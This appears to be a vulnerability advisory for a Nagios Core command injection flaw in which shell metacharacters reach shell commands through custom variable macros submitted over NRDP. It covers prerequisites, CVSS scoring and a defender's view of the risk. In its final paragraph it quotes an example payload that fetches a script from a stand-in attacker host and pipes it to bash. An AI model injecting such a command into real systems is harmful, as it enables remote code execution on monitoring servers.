Nagios Core EUVD-2026-57345

Three concurrent prerequisites must be met: (1) the attacker must possess valid NRDP credentials or a shared NRDP token granting write access to the monitored host or service object (CVSS PR:L); (2) at least one custom variable (e.g., $_HOSTmyvar$, $_SERVICEstatus_extra$) must be defined on the target host, service, or contact object; and (3) that specific custom variable macro must appear as an argument within a shell-executed command definition - such as an event handler, notification command, or check command that invokes a shell script. The vendor explicitly states this is a non-default configuration; Nagios installations that do not use custom variables in shell command definitions are not vulnerable. Exploitation is further bounded by the requirement for authenticated NRDP access, meaning unauthenticated internet-facing exploitation is not possible under this vulnerability.

The CVSS 4.0 base score of 7.7 with AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H accurately reflects the risk profile. The AT:P (Attack Requirements Present) metric is the critical moderating factor - it encodes the non-default configuration prerequisite, which meaningfully limits the real-world attack surface beyond what the high impact ratings alone suggest. Environments that do not define custom variables referenced in shell-executed commands are not vulnerable, reducing population exposure compared to a purely AC:L/PR:N finding. Authentication at the PR:L level (NRDP credential or token) provides an additional gatekeeping layer, though NRDP credentials may be broadly distributed across monitoring agents. No CISA KEV listing and no POC code are confirmed at time of analysis, so exploitation appears opportunistic or targeted rather than widespread. The combination of non-default configuration requirement, authentication prerequisite, and absence of confirmed in-the-wild exploitation suggests this is a real but non-emergency priority for most organizations - highest urgency for teams whose Nagios deployments actively use custom variables in shell command definitions.

An attacker who has obtained valid NRDP credentials - whether through credential theft, brute force, or insider access - submits a crafted passive check result where a custom variable field contains shell metacharacters such as '; curl attacker.example/shell.sh | bash #'. If the receiving Nagios instance has a command definition like '/usr/local/nagios/libexec/notify.sh $_HOSTmyvar$', the macro is expanded verbatim into the shell command string and the injected payload executes as the nagios OS user. No public proof-of-concept has been identified, but the attack follows a well-understood and easily reproducible command injection pattern requiring no memory corruption or advanced exploitation primitives.